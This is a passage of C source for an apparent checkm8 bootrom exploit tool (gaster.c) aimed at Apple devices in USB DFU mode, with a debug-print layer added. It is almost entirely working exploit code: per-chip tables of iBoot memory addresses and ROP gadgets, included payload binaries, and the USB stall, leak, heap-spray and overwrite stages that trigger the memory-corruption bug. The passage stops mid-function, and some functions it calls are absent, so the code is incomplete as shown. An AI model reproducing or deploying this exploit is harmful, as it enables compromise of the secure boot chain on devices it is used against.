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gaster.c
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/* Copyright 2023 0x7ff
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include "lzfse.h"
#ifdef HAVE_LIBUSB
# include <libusb-1.0/libusb.h>
# include <openssl/evp.h>
# include <stdbool.h>
# include <string.h>
# include <stddef.h>
#else
# include <CommonCrypto/CommonCrypto.h>
# include <CoreFoundation/CoreFoundation.h>
# include <IOKit/IOCFPlugIn.h>
# include <IOKit/usb/IOUSBLib.h>
#endif
// Debugging flag
#define DEBUG 1 // Set to 1 to enable debug output, 0 to disable
// Debugging macro
#if DEBUG
#define DEBUG_PRINT(fmt, args...) fprintf(stderr, "DEBUG: %s:%d:%s(): " fmt, \
__FILE__, __LINE__, __func__, ##args)
#else
#define DEBUG_PRINT(fmt, args...) /* Don't do anything in release builds */
#endif
#define DFU_DNLOAD (1)
#define AES_CMD_DEC (1U)
#define APPLE_VID (0x05AC)
#define AES_CMD_CBC (16U)
#define AES_BLOCK_SZ (16)
#define DFU_STATUS_OK (0)
#define DFU_GET_STATUS (3)
#define DFU_CLR_STATUS (4)
#define MAX_BLOCK_SZ (0x50)
#define DFU_MODE_PID (0x1227)
#define DFU_STATE_MANIFEST (7)
#define EP0_MAX_PACKET_SZ (0x40)
#define DFU_FILE_SUFFIX_LEN (16)
#define AES_KEY_SZ_BYTES_256 (32)
#define AES_KEY_TYPE_GID0 (0x200U)
#define DFU_MAX_TRANSFER_SZ (0x800)
#define DFU_STATE_MANIFEST_SYNC (6)
#define AES_KEY_SZ_256 (0x20000000U)
#define ARM_16K_TT_L2_SZ (0x2000000U)
#define DFU_STATE_MANIFEST_WAIT_RESET (8)
#define DONE_MAGIC (0x646F6E65646F6E65ULL)
#define EXEC_MAGIC (0x6578656365786563ULL)
#define MEMC_MAGIC (0x6D656D636D656D63ULL)
#define USB_MAX_STRING_DESCRIPTOR_IDX (10)
#define LZSS_F (18)
#define LZSS_N (4096)
#define DER_INT (0x2U)
#define DER_SEQ (0x30U)
#define LZSS_THRESHOLD (2)
#define DER_IA5_STR (0x16U)
#define DER_OCTET_STR (0x4U)
#define COMP_HDR_PAD_SZ (0x16C)
#define COMP_HDR_MAGIC (0x636F6D70U)
#define DER_FLAG_OPTIONAL (1U << 0U)
#define COMP_HDR_TYPE_LZSS (0x6C7A7373U)
#ifndef HAVE_LIBUSB
# if TARGET_OS_IPHONE
# define kUSBPipeStalled kUSBHostReturnPipeStalled
# else
# define kUSBPipeStalled kIOUSBPipeStalled
# endif
#endif
#ifndef MIN
# define MIN(a, b) ((a) < (b) ? (a) : (b))
#endif
typedef struct {
uint64_t func, arg;
} callback_t;
typedef struct {
const uint8_t *buf;
size_t len;
} der_item_t;
typedef struct {
uint8_t off, tag, flags;
} der_item_spec_t;
typedef struct {
uint32_t endpoint, pad_0;
uint64_t io_buffer;
uint32_t status, io_len, ret_cnt, pad_1;
uint64_t callback, next;
} dfu_callback_t;
typedef struct {
uint32_t endpoint, io_buffer, status, io_len, ret_cnt, callback, next;
} dfu_callback_armv7_t;
typedef struct {
der_item_t magic, type, vers, data, kbag, comp;
} im4p_t;
typedef struct {
der_item_t magic;
im4p_t im4p;
} img4_t;
typedef struct {
dfu_callback_t callback;
} checkm8_overwrite_t;
typedef struct {
dfu_callback_armv7_t callback;
} checkm8_overwrite_armv7_t;
typedef struct {
uint16_t vid, pid;
#ifdef HAVE_LIBUSB
struct libusb_device_handle *device;
#else
io_service_t serv;
IOUSBDeviceInterface320 **device;
CFRunLoopSourceRef async_event_source;
#endif
} usb_handle_t;
typedef bool (*usb_check_cb_t)(usb_handle_t *, void *);
enum usb_transfer {
USB_TRANSFER_OK,
USB_TRANSFER_ERROR,
USB_TRANSFER_STALL
};
typedef struct {
enum usb_transfer ret;
uint32_t sz;
} transfer_ret_t;
extern uint8_t payload_A9_bin[], payload_notA9_bin[], payload_notA9_armv7_bin[], payload_handle_checkm8_request_bin[], payload_handle_checkm8_request_armv7_bin[];
extern unsigned payload_A9_bin_len, payload_notA9_bin_len, payload_notA9_armv7_bin_len, payload_handle_checkm8_request_bin_len, payload_handle_checkm8_request_armv7_bin_len;
#include "payload_A9.h"
#include "payload_notA9.h"
#include "payload_notA9_armv7.h"
#include "payload_handle_checkm8_request.h"
#include "payload_handle_checkm8_request_armv7.h"
static uint16_t cpid;
static uint32_t payload_dest_armv7;
static const char *pwnd_str = " PWND:[checkm8]";
static der_item_spec_t der_img4_item_specs[] = {
{ 0, DER_IA5_STR, 0 },
{ 1, DER_SEQ, 0 }
}, der_im4p_item_specs[] = {
{ 0, DER_IA5_STR, 0 },
{ 1, DER_IA5_STR, 0 },
{ 2, DER_IA5_STR, 0 },
{ 3, DER_OCTET_STR, 0 },
{ 4, DER_OCTET_STR, DER_FLAG_OPTIONAL },
{ 5, DER_SEQ, DER_FLAG_OPTIONAL }
};
static unsigned usb_timeout, usb_abort_timeout_min;
static struct {
uint8_t b_len, b_descriptor_type;
uint16_t bcd_usb;
uint8_t b_device_class, b_device_sub_class, b_device_protocol, b_max_packet_sz;
uint16_t id_vendor, id_product, bcd_device;
uint8_t i_manufacturer, i_product, i_serial_number, b_num_configurations;
} device_descriptor;
static size_t config_hole, ttbr0_vrom_off, ttbr0_sram_off, config_large_leak, config_overwrite_pad;
static uint64_t tlbi, nop_gadget, ret_gadget, patch_addr, ttbr0_addr, func_gadget, write_ttbr0, memcpy_addr, aes_crypto_cmd, boot_tramp_end, gUSBSerialNumber, dfu_handle_request, usb_core_do_transfer, dfu_handle_bus_reset, insecure_memory_base, handle_interface_request, usb_create_string_descriptor, usb_serial_number_string_descriptor;
static void
sleep_ms(unsigned ms) {
#ifdef WIN32
Sleep(ms);
#else
struct timespec ts;
ts.tv_sec = ms / 1000;
ts.tv_nsec = (ms % 1000) * 1000000L;
nanosleep(&ts, NULL);
#endif
}
#ifdef HAVE_LIBUSB
static void
close_usb_handle(usb_handle_t *handle) {
DEBUG_PRINT("Closing USB handle\n");
libusb_close(handle->device);
libusb_exit(NULL);
}
static void
reset_usb_handle(const usb_handle_t *handle) {
DEBUG_PRINT("Resetting USB device\n");
libusb_reset_device(handle->device);
}
static bool
wait_usb_handle(usb_handle_t *handle, usb_check_cb_t usb_check_cb, void *arg) {
if(libusb_init(NULL) == LIBUSB_SUCCESS) {
DEBUG_PRINT("libusb initialized successfully\n");
printf("[libusb] Waiting for the USB handle with VID: 0x%" PRIX16 ", PID: 0x%" PRIX16 "\n", handle->vid, handle->pid);
for(;;) {
DEBUG_PRINT("Trying to open USB device VID: 0x%" PRIX16 ", PID: 0x%" PRIX16 "\n", handle->vid, handle->pid);
if((handle->device = libusb_open_device_with_vid_pid(NULL, handle->vid, handle->pid)) != NULL) {
if(libusb_set_configuration(handle->device, 1) == LIBUSB_SUCCESS && (usb_check_cb == NULL || usb_check_cb(handle, arg))) {
DEBUG_PRINT("USB device opened successfully\n");
puts("Found the USB handle.");
return true;
}
libusb_close(handle->device);
}
DEBUG_PRINT("USB device not found, retrying...\n");
sleep_ms(usb_timeout);
}
} else {
DEBUG_PRINT("Failed to initialize libusb\n");
}
return false;
}
static void
usb_async_cb(struct libusb_transfer *transfer) {
DEBUG_PRINT("USB asynchronous callback triggered\n");
*(int *)transfer->user_data = 1;
}
static bool
send_usb_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, transfer_ret_t *transfer_ret) {
int ret = libusb_control_transfer(handle->device, bm_request_type, b_request, w_value, w_index, p_data, (uint16_t)w_len, usb_timeout);
DEBUG_PRINT("Sending USB control request: bm_request_type=0x%x, b_request=0x%x, w_value=0x%x, w_index=0x%x, w_len=%zu\n", bm_request_type, b_request, w_value, w_index, w_len);
if(transfer_ret != NULL) {
if(ret >= 0) {
transfer_ret->sz = (uint32_t)ret;
transfer_ret->ret = USB_TRANSFER_OK;
DEBUG_PRINT("USB control request successful, transferred size: %d\n", ret);
} else if(ret == LIBUSB_ERROR_PIPE) {
transfer_ret->ret = USB_TRANSFER_STALL;
DEBUG_PRINT("USB control request stalled\n");
} else {
transfer_ret->ret = USB_TRANSFER_ERROR;
DEBUG_PRINT("USB control request error: %d\n", ret);
}
}
return ret >= 0;
}
static void
init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid) {
DEBUG_PRINT("Initializing USB handle with VID: 0x%04x, PID: 0x%04x\n", vid, pid);
handle->vid = vid;
handle->pid = pid;
handle->device = NULL;
}
#else
static void
cf_dictionary_set_int16(CFMutableDictionaryRef dict, const void *key, uint16_t val) {
CFNumberRef cf_val = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt16Type, &val);
DEBUG_PRINT("Setting CFDictionary value: %d\n", val);
if(cf_val != NULL) {
CFDictionarySetValue(dict, key, cf_val);
CFRelease(cf_val);
}
}
static bool
query_usb_interface(io_service_t serv, CFUUIDRef plugin_type, CFUUIDRef interface_type, LPVOID *interface) {
IOCFPlugInInterface **plugin_interface;
bool ret = false;
SInt32 score;
DEBUG_PRINT("Querying USB interface\n");
if(IOCreatePlugInInterfaceForService(serv, plugin_type, kIOCFPlugInInterfaceID, &plugin_interface, &score) == kIOReturnSuccess) {
ret = (*plugin_interface)->QueryInterface(plugin_interface, CFUUIDGetUUIDBytes(interface_type), interface) == kIOReturnSuccess;
IODestroyPlugInInterface(plugin_interface);
}
IOObjectRelease(serv);
return ret;
}
static void
close_usb_device(usb_handle_t *handle) {
DEBUG_PRINT("Closing USB device\n");
CFRunLoopRemoveSource(CFRunLoopGetCurrent(), handle->async_event_source, kCFRunLoopDefaultMode);
CFRelease(handle->async_event_source);
(*handle->device)->USBDeviceClose(handle->device);
(*handle->device)->Release(handle->device);
}
static void
close_usb_handle(usb_handle_t *handle) {
DEBUG_PRINT("Closing USB handle\n");
close_usb_device(handle);
}
static bool
open_usb_device(io_service_t serv, usb_handle_t *handle) {
bool ret = false;
DEBUG_PRINT("Opening USB device\n");
if(query_usb_interface(serv, kIOUSBDeviceUserClientTypeID, kIOUSBDeviceInterfaceID320, (LPVOID *)&handle->device)) {
if((*handle->device)->USBDeviceOpen(handle->device) == kIOReturnSuccess) {
if((*handle->device)->SetConfiguration(handle->device, 1) == kIOReturnSuccess && (*handle->device)->CreateDeviceAsyncEventSource(handle->device, &handle->async_event_source) == kIOReturnSuccess) {
CFRunLoopAddSource(CFRunLoopGetCurrent(), handle->async_event_source, kCFRunLoopDefaultMode);
ret = true;
} else {
(*handle->device)->USBDeviceClose(handle->device);
}
}
if(!ret) {
(*handle->device)->Release(handle->device);
}
}
return ret;
}
#endif
static bool
send_usb_control_request_no_data(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, size_t w_len, transfer_ret_t *transfer_ret) {
bool ret = false;
void *p_data;
if(w_len == 0) {
ret = send_usb_control_request(handle, bm_request_type, b_request, w_value, w_index, NULL, 0, transfer_ret);
} else if((p_data = malloc(w_len)) != NULL) {
memset(p_data, '\0', w_len);
ret = send_usb_control_request(handle, bm_request_type, b_request, w_value, w_index, p_data, w_len, transfer_ret);
free(p_data);
}
return ret;
}
static bool
send_usb_control_request_async_no_data(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, size_t w_len, unsigned usb_abort_timeout, transfer_ret_t *transfer_ret) {
bool ret = false;
void *p_data;
if(w_len == 0) {
ret = send_usb_control_request_async(handle, bm_request_type, b_request, w_value, w_index, NULL, 0, usb_abort_timeout, transfer_ret);
} else if((p_data = malloc(w_len)) != NULL) {
memset(p_data, '\0', w_len);
ret = send_usb_control_request_async(handle, bm_request_type, b_request, w_value, w_index, p_data, w_len, usb_abort_timeout, transfer_ret);
free(p_data);
}
return ret;
}
static char *
get_usb_serial_number(usb_handle_t *handle) {
transfer_ret_t transfer_ret;
uint8_t buf[UINT8_MAX];
char *str = NULL;
size_t i, sz;
if(send_usb_control_request(handle, 0x80, 6, 1U << 8U, 0, &device_descriptor, sizeof(device_descriptor), &transfer_ret) && transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == sizeof(device_descriptor) && send_usb_control_request(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, 0x409, buf, sizeof(buf), &transfer_ret) && transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == buf[0] && (sz = buf[0] / 2) != 0 && (str = malloc(sz)) != NULL) {
for(i = 0; i < sz; ++i) {
str[i] = (char)buf[2 * (i + 1)];
}
str[sz - 1] = '\0';
}
return str;
}
static bool
checkm8_check_usb_device(usb_handle_t *handle, void *pwned) {
char *usb_serial_num = get_usb_serial_number(handle);
bool ret = false;
if(usb_serial_num != NULL) {
if(strstr(usb_serial_num, " SRTG:[iBoot-1145.3]") != NULL) {
cpid = 0x8950;
config_large_leak = 659;
config_overwrite_pad = 0x640;
memcpy_addr = 0x9ACC;
aes_crypto_cmd = 0x7301;
gUSBSerialNumber = 0x10061F80;
dfu_handle_request = 0x10061A24;
payload_dest_armv7 = 0x10079800;
usb_core_do_transfer = 0x7621;
dfu_handle_bus_reset = 0x10061A3C;
insecure_memory_base = 0x10000000;
handle_interface_request = 0x8161;
usb_create_string_descriptor = 0x7C55;
usb_serial_number_string_descriptor = 0x100600D8;
} else if(strstr(usb_serial_num, " SRTG:[iBoot-1145.3.3]") != NULL) {
cpid = 0x8955;
config_large_leak = 659;
config_overwrite_pad = 0x640;
memcpy_addr = 0x9B0C;
aes_crypto_cmd = 0x7341;
gUSBSerialNumber = 0x10061F80;
dfu_handle_request = 0x10061A24;
payload_dest_armv7 = 0x10079800;
usb_core_do_transfer = 0x7661;
dfu_handle_bus_reset = 0x10061A3C;
insecure_memory_base = 0x10000000;
handle_interface_request = 0x81A1;
usb_create_string_descriptor = 0x7C95;
usb_serial_number_string_descriptor = 0x100600D8;
} else if(strstr(usb_serial_num, " SRTG:[iBoot-1458.2]") != NULL) {
cpid = 0x8947;
config_large_leak = 626;
config_overwrite_pad = 0x660;
memcpy_addr = 0x9A3C;
aes_crypto_cmd = 0x7061;
gUSBSerialNumber = 0x3402DDF8;
dfu_handle_request = 0x3402D92C;
payload_dest_armv7 = 0x34039800;
usb_core_do_transfer = 0x79ED;
dfu_handle_bus_reset = 0x3402D944;
insecure_memory_base = 0x34000000;
handle_interface_request = 0x7BC9;
usb_create_string_descriptor = 0x72A9;
usb_serial_number_string_descriptor = 0x3402C2DA;
} else if(strstr(usb_serial_num, " SRTG:[iBoot-1704.10]") != NULL) {
cpid = 0x8960;
config_large_leak = 7936;
config_overwrite_pad = 0x5C0;
patch_addr = 0x100005CE0;
memcpy_addr = 0x10000ED50;
aes_crypto_cmd = 0x10000B9A8;
boot_tramp_end = 0x1800E1000;
gUSBSerialNumber = 0x180086CDC;
dfu_handle_request = 0x180086C70;
usb_core_do_transfer = 0x10000CC78;
dfu_handle_bus_reset = 0x180086CA0;
insecure_memory_base = 0x180380000;
handle_interface_request = 0x10000CFB4;
usb_create_string_descriptor = 0x10000BFEC;
usb_serial_number_string_descriptor = 0x180080562;
} else if(strstr(usb_serial_num, " SRTG:[iBoot-1991.0.0.2.16]") != NULL) {
cpid = 0x7001;
config_overwrite_pad = 0x500;
patch_addr = 0x10000AD04;
memcpy_addr = 0x100013F10;
aes_crypto_cmd = 0x100010A90;
boot_tramp_end = 0x1800E1000;
gUSBSerialNumber = 0x180088E48;
dfu_handle_request = 0x180088DF8;
usb_core_do_transfer = 0x100011BB4;
dfu_handle_bus_reset = 0x180088E18;
insecure_memory_base = 0x180380000;
handle_interface_request = 0x100011EE4;
usb_create_string_descriptor = 0x100011074;
usb_serial_number_string_descriptor = 0x180080C2A;
} else if(strstr(usb_serial_num, " SRTG:[iBoot-1992.0.0.1.19]") != NULL) {
cpid = 0x7000;
config_overwrite_pad = 0x500;
patch_addr = 0x100007E98;
memcpy_addr = 0x100010E70;
aes_crypto_cmd = 0x10000DA90;
boot_tramp_end = 0x1800E1000;
gUSBSerialNumber = 0x1800888C8;
dfu_handle_request = 0x180088878;
usb_core_do_transfer = 0x10000EBB4;
dfu_handle_bus_reset = 0x180088898;
insecure_memory_base = 0x180380000;
handle_interface_request = 0x10000EEE4;
usb_create_string_descriptor = 0x10000E074;
usb_serial_number_string_descriptor = 0x18008062A;
} else if(strstr(usb_serial_num, " SRTG:[iBoot-2098.0.0.2.4]") != NULL) {
cpid = 0x7002;
config_overwrite_pad = 0x500;
memcpy_addr = 0x89F4;
aes_crypto_cmd = 0x6341;
gUSBSerialNumber = 0x46005958;
dfu_handle_request = 0x46005898;
payload_dest_armv7 = 0x46007800;
usb_core_do_transfer = 0x6E59;
dfu_handle_bus_reset = 0x460058B0;
insecure_memory_base = 0x46018000;
handle_interface_request = 0x7081;
usb_create_string_descriptor = 0x6745;
usb_serial_number_string_descriptor = 0x4600034A;
} else if(strstr(usb_serial_num, " SRTG:[iBoot-2234.0.0.2.22]") != NULL) {
cpid = 0x8003;
config_overwrite_pad = 0x500;
patch_addr = 0x10000812C;
ttbr0_addr = 0x1800C8000;
memcpy_addr = 0x100011030;
aes_crypto_cmd = 0x10000DAA0;
ttbr0_vrom_off = 0x400;
boot_tramp_end = 0x1800E1000;
gUSBSerialNumber = 0x180087958;
dfu_handle_request = 0x1800878F8;
usb_core_do_transfer = 0x10000EE78;
dfu_handle_bus_reset = 0x180087928;
insecure_memory_base = 0x180380000;
handle_interface_request = 0x10000F1B0;
usb_create_string_descriptor = 0x10000E354;
usb_serial_number_string_descriptor = 0x1800807DA;
} else if(strstr(usb_serial_num, " SRTG:[iBoot-2234.0.0.3.3]") != NULL) {
cpid = 0x8000;
config_overwrite_pad = 0x500;
patch_addr = 0x10000812C;
ttbr0_addr = 0x1800C8000;
memcpy_addr = 0x100011030;
aes_crypto_cmd = 0x10000DAA0;
ttbr0_vrom_off = 0x400;
boot_tramp_end = 0x1800E1000;
gUSBSerialNumber = 0x180087958;
dfu_handle_request = 0x1800878F8;
usb_core_do_transfer = 0x10000EE78;
dfu_handle_bus_reset = 0x180087928;
insecure_memory_base = 0x180380000;
handle_interface_request = 0x10000F1B0;
usb_create_string_descriptor = 0x10000E354;
usb_serial_number_string_descriptor = 0x1800807DA;
} else if(strstr(usb_serial_num, " SRTG:[iBoot-2481.0.0.2.1]") != NULL) {
cpid = 0x8001;
config_hole = 6;
config_overwrite_pad = 0x5C0;
tlbi = 0x100000404;
nop_gadget = 0x10000CD60;
ret_gadget = 0x100000118;
patch_addr = 0x100007668;
ttbr0_addr = 0x180050000;
func_gadget = 0x10000CD40;
write_ttbr0 = 0x1000003B4;
memcpy_addr = 0x1000106F0;
aes_crypto_cmd = 0x10000C9D4;
boot_tramp_end = 0x180044000;
ttbr0_vrom_off = 0x400;
ttbr0_sram_off = 0x600;
gUSBSerialNumber = 0x180047578;
dfu_handle_request = 0x18004C378;
usb_core_do_transfer = 0x10000DDA4;
dfu_handle_bus_reset = 0x18004C3A8;
insecure_memory_base = 0x180000000;
handle_interface_request = 0x10000E0B4;
usb_create_string_descriptor = 0x10000D280;
usb_serial_number_string_descriptor = 0x18004486A;
} else if(strstr(usb_serial_num, " SRTG:[iBoot-2651.0.0.1.31]") != NULL) {
cpid = 0x8002;
config_hole = 5;
config_overwrite_pad = 0x5C0;
memcpy_addr = 0xB6F8;
aes_crypto_cmd = 0x86DD;
gUSBSerialNumber = 0x48802AB8;
dfu_handle_request = 0x48806344;
payload_dest_armv7 = 0x48806E00;
usb_core_do_transfer = 0x9411;
dfu_handle_bus_reset = 0x4880635C;
insecure_memory_base = 0x48818000;
handle_interface_request = 0x95F1;
usb_create_string_descriptor = 0x8CA5;
usb_serial_number_string_descriptor = 0x4880037A;
} else if(strstr(usb_serial_num, " SRTG:[iBoot-2651.0.0.3.3]") != NULL) {
cpid = 0x8004;
config_hole = 5;
config_overwrite_pad = 0x5C0;
memcpy_addr = 0xA884;
aes_crypto_cmd = 0x786D;
gUSBSerialNumber = 0x48802AE8;
dfu_handle_request = 0x48806384;
payload_dest_armv7 = 0x48806E00;
usb_core_do_transfer = 0x85A1;
dfu_handle_bus_reset = 0x4880639C;
insecure_memory_base = 0x48818000;
handle_interface_request = 0x877D;
usb_create_string_descriptor = 0x7E35;
usb_serial_number_string_descriptor = 0x488003CA;
} else if(strstr(usb_serial_num, " SRTG:[iBoot-2696.0.0.1.33]") != NULL) {
cpid = 0x8010;
config_hole = 5;
config_overwrite_pad = 0x5C0;
tlbi = 0x100000434;
nop_gadget = 0x10000CC6C;
ret_gadget = 0x10000015C;
patch_addr = 0x1000074AC;
ttbr0_addr = 0x1800A0000;
func_gadget = 0x10000CC4C;
write_ttbr0 = 0x1000003E4;
memcpy_addr = 0x100010730;
aes_crypto_cmd = 0x10000C8F4;
boot_tramp_end = 0x1800B0000;
ttbr0_vrom_off = 0x400;
ttbr0_sram_off = 0x600;
gUSBSerialNumber = 0x180083CF8;
dfu_handle_request = 0x180088B48;
usb_core_do_transfer = 0x10000DC98;
dfu_handle_bus_reset = 0x180088B78;
insecure_memory_base = 0x1800B0000;
handle_interface_request = 0x10000DFB8;
usb_create_string_descriptor = 0x10000D150;
usb_serial_number_string_descriptor = 0x1800805DA;
} else if(strstr(usb_serial_num, " SRTG:[iBoot-3135.0.0.2.3]") != NULL) {
cpid = 0x8011;
config_hole = 6;
config_overwrite_pad = 0x540;
tlbi = 0x100000444;
nop_gadget = 0x10000CD0C;
ret_gadget = 0x100000148;
patch_addr = 0x100007630;
ttbr0_addr = 0x1800A0000;
func_gadget = 0x10000CCEC;
write_ttbr0 = 0x1000003F4;
memcpy_addr = 0x100010950;
aes_crypto_cmd = 0x10000C994;
boot_tramp_end = 0x1800B0000;
ttbr0_vrom_off = 0x400;
ttbr0_sram_off = 0x600;
gUSBSerialNumber = 0x180083D28;
dfu_handle_request = 0x180088A58;
usb_core_do_transfer = 0x10000DD64;
dfu_handle_bus_reset = 0x180088A88;
insecure_memory_base = 0x1800B0000;
handle_interface_request = 0x10000E08C;
usb_create_string_descriptor = 0x10000D234;
usb_serial_number_string_descriptor = 0x18008062A;
} else if(strstr(usb_serial_num, " SRTG:[iBoot-3332.0.0.1.23]") != NULL) {
cpid = 0x8015;
config_hole = 6;
config_overwrite_pad = 0x540;
tlbi = 0x1000004AC;
nop_gadget = 0x10000A9C4;
ret_gadget = 0x100000148;
patch_addr = 0x10000624C;
ttbr0_addr = 0x18000C000;
func_gadget = 0x10000A9AC;
write_ttbr0 = 0x10000045C;
memcpy_addr = 0x10000E9D0;
aes_crypto_cmd = 0x100009E9C;
boot_tramp_end = 0x18001C000;
ttbr0_vrom_off = 0x400;
ttbr0_sram_off = 0x600;
gUSBSerialNumber = 0x180003A78;
dfu_handle_request = 0x180008638;
usb_core_do_transfer = 0x10000B9A8;
dfu_handle_bus_reset = 0x180008668;
insecure_memory_base = 0x18001C000;
handle_interface_request = 0x10000BCCC;
usb_create_string_descriptor = 0x10000AE80;
usb_serial_number_string_descriptor = 0x1800008FA;
} else if(strstr(usb_serial_num, " SRTG:[iBoot-3401.0.0.1.16]") != NULL) {
cpid = 0x8012;
config_hole = 6;
config_overwrite_pad = 0x540;
tlbi = 0x100000494;
nop_gadget = 0x100008DB8;
ret_gadget = 0x10000012C;
patch_addr = 0x100004854;
ttbr0_addr = 0x18000C000;
func_gadget = 0x100008DA0;
write_ttbr0 = 0x100000444;
memcpy_addr = 0x10000EA30;
aes_crypto_cmd = 0x1000082AC;
boot_tramp_end = 0x18001C000;
ttbr0_vrom_off = 0x400;
ttbr0_sram_off = 0x600;
gUSBSerialNumber = 0x180003AF8;
dfu_handle_request = 0x180008B08;
usb_core_do_transfer = 0x10000BD20;
dfu_handle_bus_reset = 0x180008B38;
insecure_memory_base = 0x18001C000;
handle_interface_request = 0x10000BFFC;
usb_create_string_descriptor = 0x10000B1CC;
usb_serial_number_string_descriptor = 0x18000082A;
}
if(cpid != 0) {
printf("CPID: 0x%" PRIX32 "\n", cpid);
*(bool *)pwned = strstr(usb_serial_num, pwnd_str) != NULL;
ret = true;
}
free(usb_serial_num);
}
return ret;
}
static bool
dfu_check_status(const usb_handle_t *handle, uint8_t status, uint8_t state) {
struct {
uint8_t status, poll_timeout[3], state, str_idx;
} dfu_status;
transfer_ret_t transfer_ret;
return send_usb_control_request(handle, 0xA1, DFU_GET_STATUS, 0, 0, &dfu_status, sizeof(dfu_status), &transfer_ret) && transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == sizeof(dfu_status) && dfu_status.status == status && dfu_status.state == state;
}
static bool
dfu_set_state_wait_reset(const usb_handle_t *handle) {
transfer_ret_t transfer_ret;
return send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, 0, &transfer_ret) && transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == 0 && dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST_SYNC) && dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST) && dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST_WAIT_RESET);
}
static bool
checkm8_stage_reset(const usb_handle_t *handle) {
transfer_ret_t transfer_ret;
if(send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, DFU_FILE_SUFFIX_LEN, &transfer_ret) && transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == DFU_FILE_SUFFIX_LEN && dfu_set_state_wait_reset(handle) && send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, EP0_MAX_PACKET_SZ, &transfer_ret) && transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == EP0_MAX_PACKET_SZ) {
return true;
}
send_usb_control_request_no_data(handle, 0x21, DFU_CLR_STATUS, 0, 0, 0, NULL);
return false;
}
static bool
checkm8_stage_setup(const usb_handle_t *handle) {
unsigned usb_abort_timeout = usb_timeout - 1;
transfer_ret_t transfer_ret;
for(;;) {
if(send_usb_control_request_async_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, DFU_MAX_TRANSFER_SZ, usb_abort_timeout, &transfer_ret) && transfer_ret.sz < config_overwrite_pad && send_usb_control_request_no_data(handle, 0, 0, 0, 0, config_overwrite_pad - transfer_ret.sz, &transfer_ret) && transfer_ret.ret == USB_TRANSFER_STALL) {
return true;
}
send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, EP0_MAX_PACKET_SZ, NULL);
usb_abort_timeout = (usb_abort_timeout + 1) % (usb_timeout - usb_abort_timeout_min + 1) + usb_abort_timeout_min;
}
return false;
}
static bool
checkm8_usb_request_leak(const usb_handle_t *handle) {
transfer_ret_t transfer_ret;
return send_usb_control_request_async_no_data(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, EP0_MAX_PACKET_SZ, 1, &transfer_ret) && transfer_ret.sz == 0;
}
static void
checkm8_stall(const usb_handle_t *handle) {
unsigned usb_abort_timeout = usb_timeout - 1;
transfer_ret_t transfer_ret;
for(;;) {
if(send_usb_control_request_async_no_data(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, 3 * EP0_MAX_PACKET_SZ, usb_abort_timeout, &transfer_ret) && transfer_ret.sz < 3 * EP0_MAX_PACKET_SZ && checkm8_usb_request_leak(handle)) {
break;
}
usb_abort_timeout = (usb_abort_timeout + 1) % (usb_timeout - usb_abort_timeout_min + 1) + usb_abort_timeout_min;
}
}
static bool
checkm8_no_leak(const usb_handle_t *handle) {
transfer_ret_t transfer_ret;
return send_usb_control_request_async_no_data(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, 3 * EP0_MAX_PACKET_SZ + 1, 1, &transfer_ret) && transfer_ret.sz == 0;
}
static bool
checkm8_usb_request_stall(const usb_handle_t *handle) {
transfer_ret_t transfer_ret;
return send_usb_control_request_no_data(handle, 2, 3, 0, 0x80, 0, &transfer_ret) && transfer_ret.ret == USB_TRANSFER_STALL;
}
static bool
checkm8_stage_spray(const usb_handle_t *handle) {
size_t i;
if(config_large_leak == 0) {
if(cpid == 0x7001 || cpid == 0x7000 || cpid == 0x7002 || cpid == 0x8003 || cpid == 0x8000) {
while(!checkm8_usb_request_stall(handle) || !checkm8_usb_request_leak(handle) || !checkm8_no_leak(handle)) {}
} else {
checkm8_stall(handle);
for(i = 0; i < config_hole; ++i) {
while(!checkm8_no_leak(handle)) {}
}
while(!checkm8_usb_request_leak(handle) || !checkm8_no_leak(handle)) {}
}
send_usb_control_request_no_data(handle, 0x21, DFU_CLR_STATUS, 0, 0, 3 * EP0_MAX_PACKET_SZ + 1, NULL);
} else {
for(i = 0; i < config_large_leak; ++i) {
while(!checkm8_usb_request_stall(handle)) {}
}
send_usb_control_request_no_data(handle, 0x21, DFU_CLR_STATUS, 0, 0, 0, NULL);
}
return true;
}
static size_t
usb_rop_callbacks(uint8_t *buf, uint64_t addr, const callback_t *callbacks, size_t callback_cnt) {
uint8_t block_0[MAX_BLOCK_SZ], block_1[MAX_BLOCK_SZ];
size_t i, j, sz = 0, block_0_sz, block_1_sz;
uint64_t reg;
for(i = 0; i < callback_cnt; i += 5) {
block_1_sz = block_0_sz = 0;
for(j = 0; j < 5; ++j) {
addr += MAX_BLOCK_SZ / 5;
if(j == 4) {
